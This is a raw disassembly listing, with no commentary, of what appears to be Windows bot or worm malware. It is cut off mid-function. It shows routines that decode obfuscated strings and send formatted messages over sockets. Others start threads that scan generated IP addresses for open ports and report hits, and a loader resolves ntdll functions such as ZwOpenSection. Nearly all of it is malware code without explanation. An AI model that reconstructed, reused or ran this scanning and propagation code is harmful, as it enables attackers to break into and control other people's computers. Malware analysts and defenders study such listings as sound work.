lea eax, [ebp+var_2B0]
push eax
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
lea eax, [ebp+var_2B0]
push eax
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
call sub_401A77
push eax
call sub_401A77
push eax
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
mov esi, 190h
push dword_454A10
lea eax, [ebp+var_1B0]
push [ebp+arg_C4]
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset aSSSDSSSSSSSSSS ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "...
push esi
push eax
call sub_429AEE
add esp, 60h
jmp loc_401E00
; ---------------------------------------------------------------------------
loc_401D6F: ; CODE XREF: sub_401B6E+14Bj
mov ebx, offset dword_456B88
push ebx
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
push ebx
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
push offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
push esi
call sub_401AF0
push eax
push offset dword_456988
push offset dword_456788
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
mov esi, 190h
push dword_456780
lea eax, [ebp+var_1B0]
push offset dword_456580
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset aSSSDSSSSSSSS_0 ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "...
push esi
push eax
call sub_429AEE
mov ebx, [ebp+arg_C4]
add esp, 6Ch
loc_401E00: ; CODE XREF: sub_401B6E+1FCj
lea eax, [ebp+var_1B0]
push edi
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_1B0]
push eax
push ebx
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_401E67
push esi
call dword_43718C ; Sleep
lea eax, [ebp+var_2B0]
push eax
push offset aS_6 ; "%s\r\n"
lea eax, [ebp+var_1B0]
push esi
push eax
call sub_429AEE
add esp, 10h
lea eax, [ebp+var_1B0]
push edi
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_1B0]
push eax
push ebx
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401E6B
loc_401E67: ; CODE XREF: sub_401B6E+69j
; sub_401B6E+C4j ...
xor eax, eax
jmp short loc_401E89
; ---------------------------------------------------------------------------
loc_401E6B: ; CODE XREF: sub_401B6E+2F7j
push edi
lea eax, [ebp+var_6B0]
push 400h
push eax
push ebx
call dword_456F38 ; recv
push ebx
call dword_456FD0 ; closesocket
xor eax, eax
inc eax
loc_401E89: ; CODE XREF: sub_401B6E+2FBj
pop edi
pop esi
pop ebx
leave
retn
sub_401B6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401E8E proc near ; CODE XREF: ?9:00401982p
; sub_403B6C+1DBp ...
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_43AB70
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset off_43AB68
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_454A34
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_437180 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_429B3F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_429B3F
add esp, 10h
jmp short loc_401F2C
; ---------------------------------------------------------------------------
loc_401F21: ; CODE XREF: sub_401E8E+AFj
push 7D0h
call dword_43718C ; Sleep
loc_401F2C: ; CODE XREF: sub_401E8E+91j
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_456E14
test eax, eax
jnz short loc_401F21
pop edi
inc eax
pop esi
leave
retn
sub_401E8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F44 proc near ; CODE XREF: sub_40A938+6125p
; sub_40A938+9A36p
var_20 = byte ptr -20h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jz loc_402034
push 10h
mov ebx, offset dword_454A00
push 0
push ebx
call sub_429690
push 10h
lea eax, [ebp+var_20]
push [ebp+arg_0]
push eax
call sub_429C40
mov esi, offset dword_43AB8C
lea eax, [ebp+var_20]
push esi
push eax
call sub_429B8E
add esp, 20h
mov [ebp+var_10], eax
test eax, eax
jz loc_402034
xor edi, edi
inc edi
loc_401F94: ; CODE XREF: sub_401F44+6Cj
push esi
push 0
call sub_429B8E
xor edx, edx
pop ecx
cmp eax, edx
pop ecx
mov [ebp+edi*4+var_10], eax
jz loc_402034
inc edi
cmp edi, 4
jl short loc_401F94
cmp [ebp+arg_8], 1
jnz short loc_401FDE
cmp [ebp+arg_4], edx
mov ecx, offset dword_43AB88
mov eax, offset dword_43A30C
mov esi, ecx
jnz short loc_401FDA
mov esi, eax
mov edx, eax
loc_401FCD: ; CODE XREF: sub_401F44+98j
cmp [ebp+arg_4], 0
jz short loc_401FD5
mov eax, ecx
loc_401FD5: ; CODE XREF: sub_401F44+8Dj
push esi
push edx
push eax
jmp short loc_40201F
; ---------------------------------------------------------------------------
loc_401FDA: ; CODE XREF: sub_401F44+83j
mov edx, ecx
jmp short loc_401FCD
; ---------------------------------------------------------------------------
loc_401FDE: ; CODE XREF: sub_401F44+72j
cmp [ebp+arg_8], 2
jnz short loc_402003
cmp [ebp+arg_4], edx
mov ecx, offset dword_43AB88
mov eax, offset dword_43A30C
mov edx, ecx
jnz short loc_401FF7
mov edx, eax
loc_401FF7: ; CODE XREF: sub_401F44+AFj
cmp [ebp+arg_4], 0
jz short loc_401FFF
mov eax, ecx
loc_401FFF: ; CODE XREF: sub_401F44+B7j
push edx
push eax
jmp short loc_40201C
; ---------------------------------------------------------------------------
loc_402003: ; CODE XREF: sub_401F44+9Ej
cmp [ebp+arg_8], 3
jnz short loc_402034
cmp [ebp+arg_4], edx
mov eax, offset dword_43AB88
jnz short loc_402018
mov eax, offset dword_43A30C
loc_402018: ; CODE XREF: sub_401F44+CDj
push eax
push [ebp+var_8]
loc_40201C: ; CODE XREF: sub_401F44+BDj
push [ebp+var_C]
loc_40201F: ; CODE XREF: sub_401F44+94j
push [ebp+var_10]
push offset dword_43AB7C
push ebx
call sub_429A33
add esp, 18h
mov eax, ebx
jmp short loc_402036
; ---------------------------------------------------------------------------
loc_402034: ; CODE XREF: sub_401F44+Dj
; sub_401F44+47j ...
xor eax, eax
loc_402036: ; CODE XREF: sub_401F44+EEj
pop edi
pop esi
pop ebx
leave
retn
sub_401F44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40203B proc near ; CODE XREF: sub_40A938+5E3Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 8
call sub_423737
test eax, eax
pop ecx
jle short loc_402083
mov eax, [ebp+arg_C]
mov eax, dword_4540B8[eax*8]
push eax
call dword_456FBC ; inet_ntoa
cmp [ebp+arg_8], 0
push eax
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push offset dword_43AB9C
push [ebp+arg_4]
push [ebp+arg_0]
jnz short loc_40207C
call sub_41CD84
loc_402077: ; CODE XREF: sub_40203B+46j
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40207C: ; CODE XREF: sub_40203B+35j
call sub_41CD0E
jmp short loc_402077
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_40203B+Dj
cmp [ebp+arg_8], 0
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push offset dword_43AB90
push [ebp+arg_4]
push [ebp+arg_0]
jnz short loc_4020A0
call sub_41CD84
jmp short loc_4020A5
; ---------------------------------------------------------------------------
loc_4020A0: ; CODE XREF: sub_40203B+5Cj
call sub_41CD0E
loc_4020A5: ; CODE XREF: sub_40203B+63j
add esp, 10h
pop ebp
retn
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020AA proc near ; CODE XREF: sub_40242A+58p
var_C = dword ptr -0Ch
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_AC = dword ptr 0B4h
arg_CC = dword ptr 0D4h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_AC]
push edi
cmp eax, 0FFFFFFFFh
jz loc_4021D1
shl eax, 6
xor edi, edi
cmp dword_43A384[eax], edi
jz loc_4021D1
push 0Ch
call sub_423737
test eax, eax
pop ecx
jnz loc_4021D1
cmp dword_457F48, edi
jnz short loc_402108
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
mov [esp+0Ch+var_C], 0F618h
push 9C4h
call sub_41E34F
pop ecx
pop ecx
jmp short loc_40210F
; ---------------------------------------------------------------------------
loc_402108: ; CODE XREF: sub_4020AA+3Bj
movzx eax, word_443982
loc_40210F: ; CODE XREF: sub_4020AA+5Cj
push esi
mov esi, offset dword_454754
push 104h
push esi
push edi
mov dword_454964, eax
mov dword_454960, edi
call dword_437178 ; GetModuleFileNameA
push 103h
push offset dword_443990
push offset dword_454858
call sub_429C40
lea eax, [ebp+arg_10]
push 7Fh
push eax
push offset dword_454968
mov dword_4549F4, edi
call sub_429C40
push esi
mov eax, [ebp+arg_CC]
push offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
mov dword_4549F8, eax
push dword_454964
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push offset a5oke1awbzq ; "5OkE/1AWBZq/"
push offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
push offset aSSSISS_ ; "%s %s, %s: %i, %s: %s."
push 0Ch
call sub_4233DE
add esp, 38h
mov dword_45495C, eax
lea eax, [ebp+var_4]
push eax
push edi
push offset dword_454750
push offset sub_402CBA
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, dword_45495C
pop esi
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz short loc_4021D1
jmp short loc_4021C9
; ---------------------------------------------------------------------------
loc_4021C1: ; CODE XREF: sub_4020AA+125j
push 32h
call dword_43718C ; Sleep
loc_4021C9: ; CODE XREF: sub_4020AA+115j
cmp dword_4549F4, edi
jz short loc_4021C1
loc_4021D1: ; CODE XREF: sub_4020AA+Ej
; sub_4020AA+1Fj ...
pop edi
leave
retn
sub_4020AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4021D4 proc near ; CODE XREF: sub_402646:loc_4026AEp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4540B8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_429350
add esp, 0Ch
push [ebp+arg_0]
call dword_456E08 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_456F14 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_429350
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_4021D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40221C proc near ; CODE XREF: sub_402646+60p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_4292D0
cmp eax, 0Fh
pop ecx
jbe short loc_402244
xor eax, eax
jmp short loc_4022B5
; ---------------------------------------------------------------------------
loc_402244: ; CODE XREF: sub_40221C+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_429D3E
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_402271
call sub_429ACC
mov [ebp+var_C], eax
loc_402271: ; CODE XREF: sub_40221C+4Bj
cmp [ebp+var_8], esi
jnz short loc_40227E
call sub_429ACC
mov [ebp+var_8], eax
loc_40227E: ; CODE XREF: sub_40221C+58j
cmp [ebp+var_4], esi
jnz short loc_40228B
call sub_429ACC
mov [ebp+var_4], eax
loc_40228B: ; CODE XREF: sub_40221C+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_402297
call sub_429ACC
loc_402297: ; CODE XREF: sub_40221C+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4540B8[ecx*8], eax
loc_4022B5: ; CODE XREF: sub_40221C+26j
pop esi
leave
retn
sub_40221C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022B8 proc near ; CODE XREF: sub_402646+78p
; sub_4044F6+B86p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push offset dword_457C20
push [ebp+arg_0]
call dword_456FBC ; inet_ntoa
mov esi, dword_437174
push eax
call esi ; dword_437174
test eax, eax
jz loc_402386
push offset dword_457CD8
push [ebp+arg_0]
call dword_456FBC ; inet_ntoa
push eax
call esi ; dword_437174
test eax, eax
jz loc_402386
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_456FB0 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_402386
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_456F18 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_456FD4 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_456E9C ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_456EFC ; select
push esi
mov edi, eax
call dword_456FD0 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
jmp short loc_402388
; ---------------------------------------------------------------------------
loc_402386: ; CODE XREF: sub_4022B8+25j
; sub_4022B8+3Ej ...
xor eax, eax
loc_402388: ; CODE XREF: sub_4022B8+CCj
pop edi
pop esi
pop ebx
leave
retn
sub_4022B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40238D proc near ; CODE XREF: sub_41F02F+12Cp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_456FB0 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4023B6
xor eax, eax
jmp short loc_402425
; ---------------------------------------------------------------------------
loc_4023B6: ; CODE XREF: sub_40238D+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_456F18 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_456FD4 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_456E9C ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_456EFC ; select
push esi
mov edi, eax
call dword_456FD0 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_402425: ; CODE XREF: sub_40238D+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40238D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40242A proc near ; DATA XREF: sub_40A938+62EDo
; sub_40A938+9BB7o
var_CC = byte ptr -0CCh
var_BC = byte ptr -0BCh
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 33h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_CC]
inc ebx
rep movsd
mov ecx, [ebp+var_4]
mov [eax+0C0h], ebx
lea eax, [ebp+var_CC]
mov [ebp+arg_0], ecx
push eax
call dword_456F5C ; inet_addr
push [ebp+var_4]
mov ecx, [ebp+var_30]
lea esi, [ebp+var_CC]
sub esp, 0CCh
mov dword_4540B8[ecx*8], eax
push 33h
pop ecx
mov edi, esp
rep movsd
call sub_4020AA
push 8
call sub_423737
add esp, 0D4h
cmp eax, ebx
jnz short loc_402515
mov esi, offset dword_45472C
push esi
call dword_437164 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_437168 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_402515
cmp [ebp+var_1C], eax
mov edi, dword_43716C
mov esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov ebx, offset aSSD_0 ; "%s %s: <%d>"
jnz short loc_4024EA
cmp [ebp+var_18], eax
jnz short loc_4024F0
call edi ; dword_43716C
push eax
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push esi
lea eax, [ebp+var_BC]
push ebx
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 18h
loc_4024EA: ; CODE XREF: sub_40242A+9Dj
cmp [ebp+var_18], 0
jz short loc_40250C
loc_4024F0: ; CODE XREF: sub_40242A+A2j
call edi ; dword_43716C
push eax
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push esi
lea eax, [ebp+var_BC]
push ebx
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_40250C: ; CODE XREF: sub_40242A+C4j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_402515: ; CODE XREF: sub_40242A+6Cj
; sub_40242A+88j
mov eax, [ebp+var_30]
cmp [ebp+var_24], ebx
mov edi, ebx
mov esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov dword_4540BC[eax*8], ebx
mov ebx, dword_43718C
jb short loc_4025A5
loc_402531: ; CODE XREF: sub_40242A+179j
push edi
lea eax, [ebp+var_CC]
push [ebp+var_30]
mov [ebp+var_28], edi
push [ebp+var_3C]
push eax
push esi
push offset aSSDThreadDSubT ; "%s %s:%d, Thread: %d, Sub-thread: %d."
push 8
call sub_4233DE
mov [ebp+var_2C], eax
imul eax, 2724h
mov ecx, [ebp+var_30]
add esp, 1Ch
mov dword_46D704[eax], ecx
xor eax, eax
push eax
lea ecx, [ebp+var_CC]
push eax
push ecx
push offset sub_402646
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_2C]
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jz short loc_40259B
jmp short loc_402595
; ---------------------------------------------------------------------------
loc_402591: ; CODE XREF: sub_40242A+16Fj
push 1Eh
call ebx ; dword_43718C
loc_402595: ; CODE XREF: sub_40242A+165j
cmp [ebp+var_8], 0
jz short loc_402591
loc_40259B: ; CODE XREF: sub_40242A+163j
push 1Eh
call ebx ; dword_43718C
inc edi
cmp edi, [ebp+var_24]
jbe short loc_402531
loc_4025A5: ; CODE XREF: sub_40242A+105j
xor edi, edi
cmp [ebp+var_34], edi
jz short loc_4025C1
mov eax, [ebp+var_34]
imul eax, 0EA60h
push eax
call ebx ; dword_43718C
jmp short loc_4025CE
; ---------------------------------------------------------------------------
loc_4025BA: ; CODE XREF: sub_40242A+1A2j
push 7D0h
call ebx ; dword_43718C
loc_4025C1: ; CODE XREF: sub_40242A+180j
mov eax, [ebp+var_30]
cmp dword_4540BC[eax*8], 1
jz short loc_4025BA
loc_4025CE: ; CODE XREF: sub_40242A+18Ej
mov eax, [ebp+var_30]
cmp [ebp+var_1C], edi
mov eax, dword_4540B8[eax*8]
jnz short loc_40260D
cmp [ebp+var_14], edi
jz short loc_40260D
push [ebp+var_34]
push [ebp+var_3C]
push eax
call dword_456FBC ; inet_ntoa
push eax
push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
push esi
lea eax, [ebp+var_BC]
push offset aSSAtSDAfterDMi ; "%s %s at %s:%d after %d minute(s)."
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 20h
loc_40260D: ; CODE XREF: sub_40242A+1B1j
; sub_40242A+1B6j
mov eax, [ebp+var_30]
push 0BB8h
mov dword_4540BC[eax*8], edi
call ebx ; dword_43718C
push 8
call sub_423737
cmp eax, 1
pop ecx
jnz short loc_402636
push offset dword_45472C
call dword_437164 ; RtlDeleteCriticalSection
loc_402636: ; CODE XREF: sub_40242A+1FFj
push [ebp+var_30]
call sub_42355A
pop ecx
push edi
call dword_437170 ; ExitThread
sub_40242A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402646 proc near ; DATA XREF: sub_40242A+145o
var_198 = byte ptr -198h
var_188 = byte ptr -188h
var_104 = byte ptr -104h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D4 = byte ptr -0D4h
var_C4 = byte ptr -0C4h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 198h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 33h
mov esi, eax
pop ecx
lea edi, [ebp+var_D4]
rep movsd
mov ecx, [ebp+var_C]
mov esi, [ebp+var_34]
mov [ebp+var_4], ecx
mov dword ptr [eax+0C4h], 1
mov [ebp+var_8], esi
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
mov eax, esi
pop ecx
imul eax, 2724h
lea ebx, dword_46D704[eax]
jmp loc_4027D4
; ---------------------------------------------------------------------------
loc_402698: ; CODE XREF: sub_402646+198j
cmp [ebp+var_18], 0
push eax
jz short loc_4026AE
lea eax, [ebp+var_D4]
push eax
call sub_40221C
pop ecx
jmp short loc_4026B3
; ---------------------------------------------------------------------------
loc_4026AE: ; CODE XREF: sub_402646+57j
call sub_4021D4
loc_4026B3: ; CODE XREF: sub_402646+66j
pop ecx
mov [ebp+arg_0], eax
push [ebp+var_40]
push [ebp+var_44]
push eax
call sub_4022B8
add esp, 0Ch
cmp eax, 1
jnz loc_4027C9
cmp [ebp+var_28], 0FFFFFFFFh
jnz short loc_402726
mov edi, offset dword_45472C
push edi
call dword_4370C8 ; RtlEnterCriticalSection
cmp [ebp+var_24], 0
jnz short loc_40271A
push [ebp+var_44]
push [ebp+arg_0]
call dword_456FBC ; inet_ntoa
push eax
push offset aIde746o6B_ ; "Ide74/6o6/B."
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
lea eax, [ebp+var_C4]
push offset aSSSSDOpen_ ; "%s %s%s: %s:%d open."
push eax
push [ebp+var_4]
call sub_41CD84
add esp, 20h
loc_40271A: ; CODE XREF: sub_402646+9Fj
push edi
call dword_437160 ; RtlLeaveCriticalSection
jmp loc_4027C9
; ---------------------------------------------------------------------------
loc_402726: ; CODE XREF: sub_402646+8Dj
push [ebp+arg_0]
call dword_456FBC ; inet_ntoa
push eax
lea eax, [ebp+var_198]
push eax
call sub_429A33
mov eax, [ebp+var_28]
shl eax, 6
add eax, offset aD1 ; "d1"
push eax
lea eax, [ebp+var_104]
push eax
call sub_429A33
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_188]
push eax
call sub_429A33
mov eax, [ebp+var_24]
sub esp, 0ACh
mov [ebp+var_E0], eax
mov eax, [ebp+var_1C]
mov [ebp+var_DC], eax
mov eax, [ebp+var_20]
mov [ebp+var_E4], eax
mov eax, [ebp+var_44]
push 31h
mov [ebp+var_F4], eax
mov eax, [ebp+var_28]
pop ecx
mov [ebp+var_F0], esi
lea esi, [ebp+var_198]
mov edi, esp
push [ebp+var_4]
mov [ebp+var_EC], eax
rep movsd
lea ecx, [ebp+var_C4]
shl eax, 6
push ecx
call off_43A37C[eax]
mov esi, [ebp+var_8]
add esp, 0CCh
loc_4027C9: ; CODE XREF: sub_402646+83j
; sub_402646+DBj
push 7D0h
call dword_43718C ; Sleep
loc_4027D4: ; CODE XREF: sub_402646+4Dj
mov eax, [ebx]
cmp dword_4540BC[eax*8], 0
jnz loc_402698
push esi
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
sub_402646 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4027F3 proc near ; CODE XREF: sub_402BA8+76p
push offset aNtdll_dll ; "ntdll.dll"
call dword_437034 ; LoadLibraryA
test eax, eax
mov dword_454A1C, eax
jz short loc_40283F
push esi
mov esi, dword_437030
push offset aRtlinitunicode ; "RtlInitUnicodeString"
push eax
call esi ; dword_437030
push offset aZwopensection ; "ZwOpenSection"
mov dword_454A14, eax
push dword_454A1C
call esi ; dword_437030
cmp dword_454A14, 0
mov dword_454A18, eax
pop esi
jz short loc_40283F
test eax, eax
jz short loc_40283F
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_40283F: ; CODE XREF: sub_4027F3+12j
; sub_4027F3+42j ...
xor eax, eax
retn
sub_4027F3 endp
; =============== S U B R O U T I N E =======================================
sub_402842 proc near ; CODE XREF: sub_402BA8+EDp
; sub_402BA8:loc_402CAEp
mov eax, dword_454A1C
test eax, eax
jz short loc_402852
push eax
call dword_437038 ; FreeLibrary
loc_402852: ; CODE XREF: sub_402842+7j
and dword_454A1C, 0
retn
sub_402842 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40285A proc near ; CODE XREF: sub_402900+85p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
push esi
lea eax, [ebp+var_8]
push edi
xor esi, esi
push eax
lea eax, [ebp+var_C]
push esi
push eax
push esi
push esi
push 4
push 6
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call dword_43701C
test eax, eax
jnz short loc_4028FC
push 20h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_429690
add esp, 0Ch
lea ecx, [ebp+var_4]
xor eax, eax
mov [ebp+var_2C], 2
push ecx
lea ecx, [ebp+var_2C]
push [ebp+var_C]
inc eax
mov [ebp+var_28], eax
mov [ebp+var_24], esi
push ecx
push eax
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], offset aCurrent_user ; "CURRENT_USER"
mov [ebp+var_4], esi
call dword_437020
test eax, eax
jnz short loc_4028E2
